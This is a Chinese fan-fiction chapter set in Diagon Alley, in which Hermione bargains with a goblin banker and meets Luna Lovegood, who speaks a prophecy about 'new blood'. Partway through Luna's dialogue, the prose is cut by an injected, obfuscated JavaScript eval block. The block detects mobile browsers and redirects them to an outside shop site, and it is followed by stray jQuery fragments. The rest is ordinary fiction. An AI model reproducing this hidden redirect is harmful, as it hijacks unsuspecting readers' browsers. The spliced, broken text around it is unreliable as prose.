1990年9月20日——一年前
--
对角巷简直让她大饱眼福。
即使赫敏连珠炮似地问了麦格教授一连串问题,她也一直非常耐心和宽容。
“自动搅拌?是指有一把施了魔法的勺子可以自动搅拌坩埚,还是坩埚本身施了魔法,可以在里面产生漩涡,从而把所有东西都搅拌起来?”
“它指的是一根魔法搅拌棒,”麦格教授说,语气中丝毫没有疲惫,“走吧——我们到了古灵阁,巫师银行。”
赫敏将目光转向那座巨大的白色大理石建筑,她的目光扫过大门上的窗户,看到那里贴着的不祥警告。
“这……真是直白啊,”她喃喃自语道,“麻瓜银行的门上可不会写着这种威胁性的话。我倒想知道他们是不是也应该这么做……?”
麦格教授拉着她进了门。银行的规模之大、柜台之大,以及那些在柜台前工作的奇特生物,都让赫敏惊叹不已。
“这是妖精,”麦格教授低声说道,“别侮辱他们。”
“妖精……? ”
麦格教授领着她走到一张桌子旁,那里站着一个妖精,凶恶地俯视着她。
“我是布拉德索恩。”他告诉她,赫敏犹豫了一下。
“很高兴见到你,布拉德索恩,”赫敏说着,微微鞠了一躬,脑子里飞快地想着这里可能合适的礼仪,“我是赫敏·格兰杰。很高兴见到你。”她露出一个略显紧张的微笑,“如果不太麻烦的话,我想把这些麻瓜货币换成巫师货币……?”
妖精居高临下地狠狠瞪了她一眼,然后坐了回去。
“完全没问题,”他告诉她,脸上凶神恶煞的表情稍稍缓和了一些,“现金还是支票?”
赫敏慌忙打开钱包。
“是支票,可以吗?”她把支票递给布拉德索恩,布拉德索恩接过支票,用放大镜仔细查看。
“看来一切都安排妥当了,”他告诉她,“您想要换现金还是存入金库?”
赫敏茫然地抬头看着麦格教授:“啊……‘金库’?”
“今天我们需要为格兰杰小姐建立一个金库,”麦格教授告诉妖精,“但请尽量用硬币支付。”
妖精点了点头:“请给我一只手好吗?”
赫敏伸手去拿他的东西,却惊讶地发现他没有按她的拇指印,而是用一根细针扎了她一下,让她流了血。
“哎哟!”
“我们需要一份血样来建立你的血库,”他告诉她,“血库是家族传承的,你是第一个建立你家族传承的人。”
赫敏好奇地看着他:“家族传承?”
布拉德索恩没理会她:“这次检定能给你123加隆6西可。我们可以先把20加隆留在金库里,剩下的用金币给你,这样可以吗?”
麦格教授刚要开口说话,赫敏就打断了他。
“很抱歉耽误您时间,请问可以帮我查一下加隆兑英镑的汇率吗?”
布拉德索恩和麦格教授都挑了挑眉,但布拉德索恩一言不发地递下一张羊皮纸给赫敏看。
赫敏眯着眼睛看着那张纸,寻找她想要的信息。上面没有标明百分比——只写了银行目前提供的英镑兑加隆的汇率。
“教授,魔法世界里一瓶饮料多少钱?”她问道,“或者其他在两个世界都存在的东西多少钱?”
麦格教授沉思片刻,告诉她:“一杯黄油啤酒要2西可,这大概相当于麻瓜酒吧里的一杯啤酒。”
赫敏想了想。“一个加隆等于多少西可?”
“十七。”
赫敏一边思考,一边在心里划掉一些不合适的选项,同时进行乘法运算。
“……你们在汇率上抽取了将近百分之二十的利润!”她惊呼道,“那张支票是750英镑——按完全换算的话,大约是150加仑!”
妖精冷笑道:“这就是做生意的代价。”
“这太荒谬了,”赫敏坚持道,“标准汇率是0.13!”
“在魔法世界里可不是这样。”
“我至少要145加隆,”赫敏厉声说道,“那你还能拿到将近5%的纯利润呢。”
布拉德索恩面露惊恐:“我绝不会——”
“这只是一笔交易。你肯定能从我这个客户身上获利,还能用我的存款来放贷吧?”
布拉德索恩话音未落,便停住了,他眼神中闪过一丝怀疑,贪婪的光芒在他眼中闪烁。
“……放贷?”
赫敏的眼睛睁大了。
“你们……你们难道真的把金子都藏在地下?”她问道,她猛地转身面对麦格教授,“教授,这套银行系统是怎么运作的?我需要知道这是什么样的——”
“或许改天吧,格兰杰小姐,”麦格教授温和地说,“我们还有很多事要做。”
赫敏转过身去看布拉德索恩,布拉德索恩正用一种新的敬意看着她。
“百分之十,”他告诉她,“等你适应了魔法世界之后,再来跟我谈这笔‘贷款’的事。”
“成交,”赫敏坚定地说着,向他伸出了手。
妖精盯着她的手,仿佛那手有多么冒犯人似的,赫敏害怕自己犯了什么可怕的错误,这时妖精紧紧抓住她的手,咧嘴一笑。
他满嘴都是非常非常尖的牙齿。
“成交。”
……
在对角巷里,弗洛林书店无疑是赫敏最喜欢的地方。
书真多啊!简直难以置信,而且它们都是魔法书。
嗯,有些是,其他的看起来更像菜谱。但不管怎样——!
赫敏几乎抑制不住想要欢呼雀跃的冲动,她努力让自己保持镇定,举止正常,然后开始寻找课本。
大部分教科书都很容易找到——书店后面有个展示柜,摆放着各个年级的标准教材。赫敏拿起自己需要的那本,犹豫片刻后,又拿了一本二、三、四年级的《标准咒语书》 。她把《中级变形术》和老师指定的《变形术入门指南》都放进了购物篮,还拿了《黑魔法防御术精要》和《防御魔法理论》。她拿了《魔法药剂与魔药》、《一千种魔法草药与真菌》以及《魔药书》,最后从附近的书架上拿了一本《完善你的魔药》,凑齐了她的收藏。不过,这本书看起来更像是一本写给成年人的实践指南,而不是教科书。
赫敏很想多拿几本,但她知道桌上的其他书看起来更进阶一些,以后总有机会再来拿,对吧?她不是明年就买不到魔法书了,她随时都可以过来。
赫敏在书店里四处闲逛,寻找有关魔法世界的资料。她拿起几本历史书籍(一本古代史,一本十七至二十世纪史,还有一本近代史),以及几本关于魔法社会的书籍。她正琢磨着该买哪本礼仪指南(《至高礼仪》还是《纯血统习俗与礼仪》),却被人打断了。
“你是新血。”
赫敏转过身,看到一个肤色苍白的金发女孩站在她身后,站得离她近得几乎有些不合适。她的头发有些奇怪的卷曲,飘逸地动着,还戴着一副用瓶盖做的耳环。
赫敏愣住了。
“新血?”她重复道。
女孩点了点头,赫敏看着女孩的眼珠突然向上翻去。她张开嘴,声音不再像刚才那样轻快明亮。
“化身为麻瓜的毒蛇将成为改变世界的新生力量,
她将带领那些响应她召唤的人,扫清障碍,
无论是天赋异禀还是自称拥有,真假难辨,纯粹的魔法都将绽放,
这条由利齿孕育的母蛇必将崛起,战胜一切。”
女孩的眼睛一阵眩晕,然后才重新聚焦。她转过身面对赫敏,赫敏一脸惊恐。
“我又那样了吗?”女孩叹了口气,“我正在努力练习主动控制它而不是被控制,我至少有把‘新血’那部分内容说出来了吧?”
赫敏默默地点了点头。
“好,”女孩简单地说。
赫敏看着那个女孩,女孩也看着她,眼神平静。
“你……你是在引用什么吗?”赫敏缓缓问道。
女孩歪了歪头。
“我不这么认为,”她说,“我的意思是,我不确定,因为我不记得我说过什么,但预言通常不会引用其他东西,至少我从没听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510375|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说过这样的预言。”
“一……一个预言?”赫敏突然感到一阵恐惧攫住了她的心脏,“你……你能预知未来?”
女孩笑了笑,“算是吧?”她说道,“我有时能看到一些最有可能的走向,但并非全然如此。”
她朝赫敏微笑:“别担心——未来并非命中注定,你仍然拥有自由意志。”
赫敏慢慢放松下来。
“我是赫敏·格兰杰,”赫敏一边说着,一边向女孩伸出手,“我明年要去霍格沃茨上学。”
“我是卢娜·洛夫古德,”女孩告诉她。她没有和赫敏握手,而是把什么东西放在了赫敏手里:“我会在你之后一年去霍格沃茨。”
赫敏翻过卢娜放在她手里的东西,发现那是一朵有些丑陋的水晶花,她疑惑地抬头看着卢娜。
“这可以抵御那些讨厌的家伙,”卢娜点点头说,“随身带着,就能把它们赶走。”
“……谢谢,”赫敏说着,把它放进口袋,“我一定会把它放在身边的。”
卢娜对着赫敏灿烂一笑,赫敏也缓缓回以微笑。
“卢娜,”赫敏突然开口,一个想法涌上心头,“你知道除了书单上的书之外,我还应该带哪些书去学校吗?”
卢娜停顿了一下。
“……我不太清楚具体情况,但我可以提一些对想要改变世界的人来说可能很重要的建议?”卢娜试探性地问道,“嗯……”
当卢娜和赫敏整理完书后,赫敏手里有了两本礼仪书、一本名为《纯血统名录》的书、几本关于魔法理论和历史的书、一本关于现代法律的书和一本关于魔法部运作方式的书,令她震惊的是,还有一本名为《黑暗的召唤》的书,以及一本名为《灰色》的书,这两本书看起来……很不祥。
“全面发展很重要,”卢娜一边说着,一边帮她把书搬到前面,“这意味着既要了解善,也要了解恶。”她朝她微微一笑,“千万别被抓到!”
柜台后面的男人漫不经心地清点着她的书,当总额宣布出来时,赫敏立刻庆幸自己是最后才来的——她几乎把剩下的钱都花光了。她也庆幸自己跟那个妖精争论了一番——最后那二十加隆起了关键作用。
赫敏把书捆好后,看了看卢娜,停顿了一下。
“……这个送给你,”她说。
赫敏摘下她的护身符手链,戴在卢娜的手腕上。卢娜把它举到眼前,好奇地打量着。
“那是什么?”她问。
“这是……麻瓜魔法,”赫敏告诉她,“每个咒语都代表着特定的含义,每个咒语都会保护你或祝福你。”她把护身符上的咒语展示给卢娜看,“现在,这里面有一个带来好运的咒语,一个带来知识的咒语,还有一个带来幸福的咒语。在麻瓜世界里,你还可以获得更多,得到你想要的任何咒语。”
卢娜看着赫敏,脸上绽放出灿烂的笑容:“我以前从来没接触过麻瓜魔法!”她说,“我爸爸几乎从不去麻瓜世界,但我一定会好好利用你的魔法!”
“赫敏?”
“我得走了,”赫敏对卢娜说,听到麦格教授的声音,她有些失望。她很兴奋能见到另一位和她同龄的女巫,了解魔法世界的生活会是什么样子。“我……我们学校见?”她补充道。
卢娜笑着点点头:“再过一年,我们就能成为最好的朋友了。”
赫敏的眼睛睁大了,她快速眨着眼睛,生怕被卢娜看到她的眼泪。
她以前在学校从来没有朋友。
“我们永远都是好朋友,”赫敏紧紧握住她的手说道,然后抓起书包,匆匆走出书店,“再见,卢娜!”
“再见了,格兰杰女士,”卢娜微笑着低声说道,“愿魔法指引你追随新生的血脉,建立起一个伟大的家族。”
赫敏对此感到困惑,当她向后靠去想再问卢娜一个问题时,麦格教授把她拉回了街上,惊叹于她买的书的数量,并帮她把所有书都装进她的新坩埚里,然后她们才动身回家。
赫敏在脑海里一遍又一遍地回想着卢娜的话。
新血?
那到底是什么意思?